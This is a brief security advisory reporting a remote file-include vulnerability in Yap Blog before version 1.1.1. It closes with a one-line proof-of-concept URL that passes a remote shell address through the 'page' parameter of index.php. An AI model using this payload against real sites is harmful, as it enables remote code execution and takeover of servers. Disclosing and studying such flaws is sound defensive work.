source: http://www.securityfocus.com/bid/28120/info

Yap Blog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions prior to Yap Blog 1.1.1 are vulnerable. 

http://www.example.com/[path]/index.php?page=[Sh3llAddress] 